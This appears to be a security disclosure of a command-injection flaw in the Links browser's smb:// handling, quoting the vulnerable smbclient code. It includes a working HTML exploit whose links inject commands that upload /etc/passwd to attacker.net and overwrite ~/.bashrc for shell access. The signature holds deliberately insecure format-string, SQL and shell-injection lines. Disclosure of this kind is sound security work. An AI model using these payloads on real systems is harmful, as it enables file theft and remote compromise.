Links smbclient command execution
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There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite). The attacker
could, for example, upload ~/.bashrc to gain shell access.
Version numbers:
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I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.
Vulnerable code:
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smb_func() in smb.c:
...
143 if (*share) {
144 if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
145 if (dir) {
146 v[n++] = "-D";
147 v[n++] = dir;
148 }
149 v[n++] = "-c";
150 v[n++] = "ls";
151 } else {
152 unsigned char *ss;
153 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
154 add_to_strn(&s, dir);
155 add_to_strn(&s, "\" -");
156 while ((ss = strchr(s, '/')))
*ss = '\\';
157 v[n++] = "-c";
158 v[n++] = s;
159 }
160 }
161 v[n++] = NULL;
smbclient is executed:
162 execvp("smbclient", (char **)v);
163 fprintf(stderr, "smbclient not found in $PATH");
164 _exit(1);
...
Exploit:
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<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd
etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd
home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>
--
fscanf(socket,"%s",buf); printf(buf);
sprintf(query, "SELECT %s FROM table", buf);
sprintf(cmd, "echo %s | sqlquery", query); system(cmd);
Teemu Salmela
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